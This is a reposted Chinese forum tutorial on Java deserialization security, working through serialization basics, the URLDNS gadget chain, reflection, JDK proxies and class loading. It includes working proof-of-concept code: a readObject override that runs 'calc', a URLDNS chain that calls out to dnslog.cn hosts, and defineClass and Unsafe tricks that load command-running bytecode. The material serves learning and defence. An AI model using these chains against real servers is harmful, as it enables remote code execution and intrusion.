ToB企服应用市场:ToB评测及商务社交产业平台

标题: Java反序列化学习 [打印本页]

作者: 用户国营    时间: 2024-5-14 09:48
标题: Java反序列化学习
前言

早知前路多艰苦,仙尊悔而我不悔。Java反序列化,免费一位,开始品鉴,学了这么久web,还没深入研究Java安全,人生一大罪过。诸君,请看。
序列化与反序列化

简单demo:
  1. import java.io.FileInputStream;
  2. import java.io.FileOutputStream;
  3. import java.io.ObjectInputStream;
  4. import java.io.ObjectOutputStream;
  5. import java.io.Serializable;
  6. public class serialize implements Serializable{
  7.     private String name;
  8.     private int age;
  9.     serialize(String name, int age){
  10.         this.name = name;
  11.         this.age = age;
  12.     }
  13.     public String getName() {
  14.         return name;
  15.     }
  16.     public int getAge() {
  17.         return age;
  18.     }
  19.     public void setName(String name) {
  20.         this.name = name;
  21.     }
  22.     public void setAge(int age) {
  23.         this.age = age;
  24.     }
  25.     public static void main(String[] args) throws Exception  {
  26.         // 序列化
  27.         FileOutputStream fos = new FileOutputStream("serialize.bin");
  28.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  29.         serialize serialize = new serialize("f12", 20);
  30.         oos.writeObject(serialize);
  31.         oos.close();
  32.         // 反序列化
  33.         FileInputStream fis = new FileInputStream("serialize.bin");
  34.         ObjectInputStream ois = new ObjectInputStream(fis);
  35.         serialize s = (serialize) ois.readObject();
  36.         ois.close();
  37.         System.out.print(s);
  38.     }
  39. }
  40. // 输出
  41. serialize@3b07d329
复制代码
可以看出writeObject就是序列化(注:只有实现了Serializable接口的类才能被序列化),readObject就是反序列化,建议自己上手不看demo敲。那么这将造成什么问题,很明显,当用户能控制序列化的数据时,而服务端又有反序列化的操纵时,这时将任人拿捏。我想实行什么操纵就能实行什么操纵
大概的形式
java反序列化导致实行系统下令

简单demo:
  1. import java.io.FileInputStream;
  2. import java.io.FileOutputStream;
  3. import java.io.IOException;
  4. import java.io.ObjectInputStream;
  5. import java.io.ObjectOutputStream;
  6. import java.io.Serializable;
  7. public class serialize implements Serializable{
  8.     private String name;
  9.     private int age;
  10.     serialize(String name, int age){
  11.         this.name = name;
  12.         this.age = age;
  13.     }
  14.     public String getName() {
  15.         return name;
  16.     }
  17.     public int getAge() {
  18.         return age;
  19.     }
  20.     public void setName(String name) {
  21.         this.name = name;
  22.     }
  23.     public void setAge(int age) {
  24.         this.age = age;
  25.     }
  26.     private void readObject(ObjectInputStream ois) throws ClassNotFoundException, IOException{
  27.         ois.defaultReadObject();
  28.         Runtime.getRuntime().exec("calc");
  29.     }
  30.     public static void main(String[] args) throws Exception  {
  31.         FileOutputStream fos = new FileOutputStream("serialize.bin");
  32.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  33.         oos.writeObject(new serialize("f12", 20));
  34.         oos.close();
  35.         FileInputStream fis = new FileInputStream("serialize.bin");
  36.         ObjectInputStream ois = new ObjectInputStream(fis);
  37.         serialize s = (serialize) ois.readObject();
  38.         System.out.println(s);
  39.     }
  40. }
复制代码
重写serialize类的readObject方法,当对serialize举行反序列化时调用的是重写后的readObject方法,也就会弹出盘算器。不过这种情况基本不会发生(不会有人这么蠢,危险函数直接写在readObject里),通常是通过找到一条gadget,通过构造,最终在某个重写的readObject中实行下令。
反序列化的思绪

入口类

入口类一般是Map,Hashmap,HashTable这些集合类,由于集合类型宽泛(泛型),因此肯定继续了Serializeable接口,在Hashmap类中也重写了readObject方法:

为什么HashMap要自己实现writeObject和readObject方法
为什么要自己实现?如上文章所诉
调用链

所谓调用链就是一条完整的下令实行流程,在入口类中的readObject方法中,最好有一些常见的方法,如许不管我们传什么东西进去,他都可以调用这个方法,也加大了进一步探索的大概调用链中一般会使用很多重名函数,为了实现差别的结果
实行类

Java反序列化的目的就是为了实行下令,以是最终得找到一个可以实行下令的类,这是相对比较困难的
反序列化漏洞入门(URLDNS)分析

漏洞分析

开局先找重写了readObject的类,这里直接看HashMap:

这里s是我们可控,变化成key,进入了hash函数,继续跟进

这里调用了key的hashCode函数,也就是调用了我们可控类的hashCode函数,以是说同名函数在反序列化中是非常重要的,由于这里分析的是URLDNS链,我们看URL类中有无hashCode函数:

找到,这里有个判断,如果hashCode不等于-1,就直接返回,否则就进入handler.hashCode函数,在URL类中hashCode的值默认是-1,以是我们跟进:

这里重点在于getHostAddress,顾名思义获取host地址,如果我们传入我们vps的地址,是不是就会访问我们的vps了呢?这里使用dnslog来测试:
  1. import java.io.FileInputStream;
  2. import java.io.FileOutputStream;
  3. import java.io.ObjectInputStream;
  4. import java.io.ObjectOutputStream;
  5. import java.io.Serializable;
  6. import java.net.MalformedURLException;
  7. import java.net.URL;
  8. import java.util.HashMap;
  9. public class URLDNS implements Serializable{
  10.     public static void serialize(Object obj) throws Exception{
  11.         FileOutputStream fos = new FileOutputStream("urldns.bin");
  12.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  13.         oos.writeObject(obj);
  14.     }
  15.     public static void deserialize(String filename) throws Exception{
  16.         FileInputStream fis = new FileInputStream(filename);
  17.         ObjectInputStream ois = new ObjectInputStream(fis);
  18.         ois.readObject();
  19.     }
  20.     public static void main(String[] args) throws Exception{
  21.         HashMap<URL,Integer> hashmap = new HashMap<>();
  22.         try {
  23.             URL url = new URL("http://zanqlw.dnslog.cn/");
  24.             hashmap.put(url,1);
  25.             serialize(hashmap);
  26.             deserialize("urldns.bin");
  27.         } catch (MalformedURLException e) {
  28.             e.printStackTrace();
  29.         }
  30.     }
  31. }
复制代码
成功拿到请求

之后才注意到一个问题,我们就算不序列化和反序列化都能拿到请求,这是为什么?问题出如今hashmap.put这里,我们调试追踪一下:

发如今put的时候就触发了这里的getHostAddress,这时hashCode的值已经发生了改变,以是反序列化的时候根本就没触发DNS请求

那么怎么才能让我们反序列化的时候也触发DNS请求呢?hashCode的值肯定是要修改回-1的,如果要求只让我们反序列化的时候才触发DNS请求,put时的hashCode就不能是-1,以是怎么才能控制hashCode的值呢?这就必要用到反射的知识了
java反射

有反射就有正射
正射:通俗来讲就是我们常用的new,通过实例化类来获取一个对象
反射:跟正射反过来,通过实例化一个对象来获取它的类
举个栗子:
  1. package f12;
  2. import java.io.FileOutputStream;
  3. import java.io.ObjectOutputStream;
  4. import java.lang.reflect.*;
  5. public class reflect {
  6.     public static void Serialize(Object obj) throws Exception {
  7.         FileOutputStream fos = new FileOutputStream("user.bin");
  8.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  9.         oos.writeObject(obj);
  10.     }
  11.     public static void main(String[] args) throws Exception {
  12.         // 正射
  13.         user user = new user("f12", 20);
  14.         Serialize(user);
  15.         // 反射
  16.         Class c = user.getClass();
  17.         Constructor constructor = c.getConstructor(String.class, int.class);
  18.         // 获取构造函数
  19.         user newuser = (user) constructor.newInstance("F12", 21);
  20.         System.out.println(newuser.getName());
  21.         // 修改属性
  22.         Field name = c.getDeclaredField("name");
  23.         // 设置允许修改私有属性
  24.         name.setAccessible(true);
  25.         name.set(newuser, "F13");
  26.         System.out.println(newuser.getName());
  27.     }
  28. }
  29. // 输出
  30. F12
  31. F13
复制代码
可以看出通过反射修改了对象的值,那么就能举行操纵了
再战URLDNS
  1. import java.io.FileInputStream;
  2. import java.io.FileOutputStream;
  3. import java.io.ObjectInputStream;
  4. import java.io.ObjectOutputStream;
  5. import java.io.Serializable;
  6. import java.lang.reflect.Constructor;
  7. import java.lang.reflect.Field;
  8. import java.net.MalformedURLException;
  9. import java.net.URL;
  10. import java.util.HashMap;
  11. public class URLDNS implements Serializable{
  12.     public static void serialize(Object obj) throws Exception{
  13.         FileOutputStream fos = new FileOutputStream("urldns.bin");
  14.         ObjectOutputStream oos = new ObjectOutputStream(fos);
  15.         oos.writeObject(obj);
  16.     }
  17.     public static void deserialize(String filename) throws Exception{
  18.         FileInputStream fis = new FileInputStream(filename);
  19.         ObjectInputStream ois = new ObjectInputStream(fis);
  20.         ois.readObject();
  21.     }
  22.     public static void main(String[] args) throws Exception{
  23.         HashMap<URL,Integer> hashmap = new HashMap<>();
  24.         try {
  25.             URL url = new URL("http://vcx4cu.dnslog.cn/");
  26.             Class u = url.getClass();
  27.             Constructor constructor = u.getConstructor(String.class);
  28.             URL newurl = (URL)constructor.newInstance("http://vcx4cu.dnslog.cn/");
  29.             Field hashCode = u.getDeclaredField("hashCode");
  30.             hashCode.setAccessible(true);
  31.             hashCode.set(newurl, 1);
  32.             hashmap.put(newurl, 1);
  33.             hashCode.set(newurl, -1);
  34.             serialize(hashmap);
  35.             deserialize("urldns.bin");
  36.         } catch (MalformedURLException e) {
  37.             e.printStackTrace();
  38.         }
  39.     }
  40. }
复制代码
成功复仇
JDK静态代理

一个demo:
  1. package Proxy;
  2. public interface Interface {
  3.     void rent();
  4.     void pay();
  5. }
复制代码
  1. package Proxy;
  2. public class Direct implements Interface{
  3.     public void rent(){
  4.         System.out.println("租房");
  5.     }
  6.     public void pay(){
  7.         System.out.println("付款");
  8.     }
  9. }
复制代码
  1. package Proxy;
  2. public class Proxy implements Interface{
  3.     public Interface user;
  4.     Proxy(Interface user){
  5.         this.user = user;
  6.     }
  7.     public void rent(){
  8.         user.rent();
  9.         System.out.println("中介帮你租房");
  10.     }
  11.     public void pay(){
  12.         user.pay();
  13.         System.out.println("中介帮你付款");
  14.     }
  15. }
复制代码
  1. package Proxy;
  2. public class Main {
  3.     public static void main(String[] args) {
  4.         Interface user = new Direct();
  5.         Interface newuser = new Proxy(user);
  6.         System.out.println("你自己:");
  7.         user.rent();
  8.         user.pay();
  9.         System.out.println("找中介:");
  10.         newuser.rent();
  11.         newuser.pay();
  12.     }
  13. }
复制代码
以上就是一个静态代理的例子,Proxy类相称于中介,我们可以通过它间接的去调用Direct的方法

静态代理的缺点就是当我们修改接口的化,Direct和Proxy类都得修改
JDK动态代理
  1. package Proxy;
  2. import java.lang.reflect.InvocationHandler;
  3. import java.lang.reflect.Method;
  4. public class UserInvokationHandler implements InvocationHandler {
  5.     Interface user;
  6.     UserInvokationHandler(Interface user){
  7.         this.user = user;
  8.     }
  9.     @Override
  10.     public Object invoke(Object invoke, Method method, Object[] args) throws Throwable{
  11.         System.out.println("这里是动态代理,调用了方法:"+method.getName());
  12.         method.invoke(user, args);
  13.         return null;
  14.     }
  15. }
复制代码
  1. package Proxy;
  2. import java.lang.reflect.Proxy;
  3. public class Main {
  4.     public static void main(String[] args) {
  5.         Interface user = new Direct();
  6.         // 动态代理
  7.         UserInvokationHandler userInvokationHandler = new UserInvokationHandler(user);
  8.         Interface newuser = (Interface) Proxy.newProxyInstance(user.getClass().getClassLoader(), user.getClass().getInterfaces(), userInvokationHandler);
  9.         newuser.rent();
  10.         newuser.pay();
  11.     }
  12. }
复制代码
以上就是动态代理,大概有点难以明白,总体上就是创建一个动态代理类,这里重写了invoke方法,方便展示,然后创建一个动态代理实例,传入的参数是Direct类的类加载器和接口,如许就代理上了Direct类,可以调用Direct类的方法了

动态代理与反序列化的关系

其实就是由于大概没有同名函数导致无法实行下令的问题,如果我们必要最终反序列化时实行B.danger(),我们的入口类时A(Object obj),但是A类里面并没有同名函数danger,只有A.abc => B.abc,obj为我们可控的类,但如果obj是个代理类,obj(Object obj2),而这个代理类里调用了danger,那么我们就可以用obj来代理B类,从而调用到B类的danger函数,即让obj2为B类
类的动态加载

起首先容两个代码块:
构造代码块和静态代码块:
  1. {
  2.     System.out.println("构造代码块");
  3. }
  4. static {
  5. System.out.println("静态代码块");
  6. }
复制代码
这里涉及到一个类加载的问题,类加载的时候会实行代码(初始化)
  1. package ClassLoader;
  2. public class User {
  3.     static {
  4.         System.out.println("静态代码块");
  5.     }
  6.     {
  7.         System.out.println("构造代码块");
  8.     }
  9.     User() {
  10.         System.out.println("无参构造函数");
  11.     }
  12.     User(String key) {
  13.         System.out.println("有参构造函数");
  14.     }
  15. }
复制代码
  1. package ClassLoader;
  2. public class Test {
  3.     public static void main(String[] args) throws ClassNotFoundException {
  4.         Class.forName("ClassLoader.User");
  5.     }
  6. }
  7. // 输出
  8. 静态代码块
复制代码
很明显这里只加载了静态代码块,其余代码块并未实行,我们可以设置类加载的时候不举行初始化,可以看到forName方法中initialize的默认值是true
  1. package ClassLoader;
  2. public class Test {
  3.     public static void main(String[] args) throws ClassNotFoundException {
  4.         Class.forName("ClassLoader.User", false, ClassLoader.getSystemClassLoader());
  5.     }
  6. }
  7. // 无输出
复制代码
设置不初始化的化,就不会实行代码,再来说说实例化也就我们的new,实例化跟初始化是差别的
  1. package ClassLoader;
  2. public class Test {
  3.     public static void main(String[] args) throws ClassNotFoundException {
  4.         new User();
  5.     }
  6. }
  7. // 输出
  8. 静态代码块
  9. 构造代码块
  10. 无参构造函数
复制代码
可以看到实例化是两个代码块都实行了,这就是实例化跟初始化的区别
双亲委派机制

所谓的双亲委派机制,指的就是:当一个类加载器收到了类加载的请求的时候,他不会直接去加载指定的类,而是把这个请求委托给自己的父加载器去加载。只有父加载器无法加载这个类的时候,才会由当前这个加载器来负责类的加载。
Java中提供的这四种类型的加载器,是有各自的职责的:
如许看来的话,用户自界说的类是不会让前两个加载器举行加载的,这里调试跟进一下加载过程

这里调用了loadclass,继续跟进

到这里,判断父加载器是否为空,不为空就调用父加载器举行加载

上面父加载器没找到,返回了APPClassLoader,这里进入URLClassLoader

然后进入defineClass

从结果上看加载进了User类的字节码,分析一下加载器的流程
ClassLoader->SecureClassloader->urlclassloaer->applicationclassloaer->loadclass->defineclass(加载字节码)
URLClassLoader任意类加载

这个类加载器里有个loadclass方法可以通过url来加载类,起首再本地起个web服务
  1. package ClassLoader;
  2. import java.net.MalformedURLException;
  3. import java.net.URL;
  4. import java.net.URLClassLoader;
  5. public class Test {
  6.     public static void main(String[] args) throws ClassNotFoundException, MalformedURLException, InstantiationException, IllegalAccessException {
  7.         URLClassLoader urlClassLoader = new URLClassLoader(new URL[]{new URL("http://127.0.0.1:9999/")});
  8.         Class user = urlClassLoader.loadClass("ClassLoader.User");
  9.         user.newInstance();
  10.     }
  11. }
  12. // 输出
  13. 静态代码块
  14. 构造代码块
  15. 无参构造函数
复制代码
ClassLoader加载字节码实行下令

ClassLoader.defineClass可以通过加载类的字节码来加载类,我们可以通过反射来获取到defineClass方法,加载我们自界说的类,来实行下令
  1. package ClassLoader;
  2. import java.io.IOException;
  3. public class Eval {
  4.     static {
  5.         try {
  6.             Runtime.getRuntime().exec("calc");
  7.         } catch (IOException e) {
  8.             throw new RuntimeException(e);
  9.         }
  10.     }
  11.     public static void main(String[] args) {
  12.     }
  13. }
复制代码
  1. package ClassLoader;
  2. import java.io.IOException;
  3. import java.lang.reflect.InvocationTargetException;
  4. import java.lang.reflect.Method;
  5. import java.net.MalformedURLException;
  6. import java.net.URL;
  7. import java.net.URLClassLoader;
  8. import java.nio.file.Files;
  9. import java.nio.file.Paths;
  10. public class Test {
  11.     public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException {
  12.         Method defindClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class);
  13.         defindClass.setAccessible(true);
  14.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\out\\production\\Java安全学习\\ClassLoader\\Eval.class"));
  15.         ClassLoader cl = ClassLoader.getSystemClassLoader();
  16.         Class eval = (Class) defindClass.invoke(cl, "ClassLoader.Eval", bytes,0, bytes.length );
  17.         eval.newInstance();
  18.     }
  19. }
复制代码

Unsafe加载字节码
  1. package ClassLoader;
  2. import sun.misc.Unsafe;
  3. import java.io.IOException;
  4. import java.lang.reflect.Field;
  5. import java.lang.reflect.InvocationTargetException;
  6. import java.lang.reflect.Method;
  7. import java.net.MalformedURLException;
  8. import java.net.URL;
  9. import java.net.URLClassLoader;
  10. import java.nio.file.Files;
  11. import java.nio.file.Paths;
  12. public class Test {
  13.     public static void main(String[] args) throws ClassNotFoundException, IOException, InstantiationException, IllegalAccessException, NoSuchMethodException, InvocationTargetException, NoSuchFieldException {
  14.         byte[] bytes = Files.readAllBytes(Paths.get("D:\\Java安全学习\\out\\production\\Java安全学习\\ClassLoader\\Eval.class"));
  15.         Field f = Unsafe.class.getDeclaredField("theUnsafe");
  16.         f.setAccessible(true);
  17.         Unsafe unsafe = (Unsafe) f.get(null);
  18.         ClassLoader cl = ClassLoader.getSystemClassLoader();
  19.         Class eval = unsafe.defineClass("ClassLoader.Eval",bytes,0, bytes.length, cl, null);
  20.         eval.newInstance();
  21.     }
  22. }
复制代码

这里我们获取的是Unsafe的属性,而不是它的defineclass方法,由于它被native修饰,没法被反射调用

而它的属性theUnsafe其实就是Unsafe对象,以是获取这个属性,再调用defineclass来加载我们的自界说类


免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。




欢迎光临 ToB企服应用市场:ToB评测及商务社交产业平台 (https://dis.qidao123.com/) Powered by Discuz! X3.4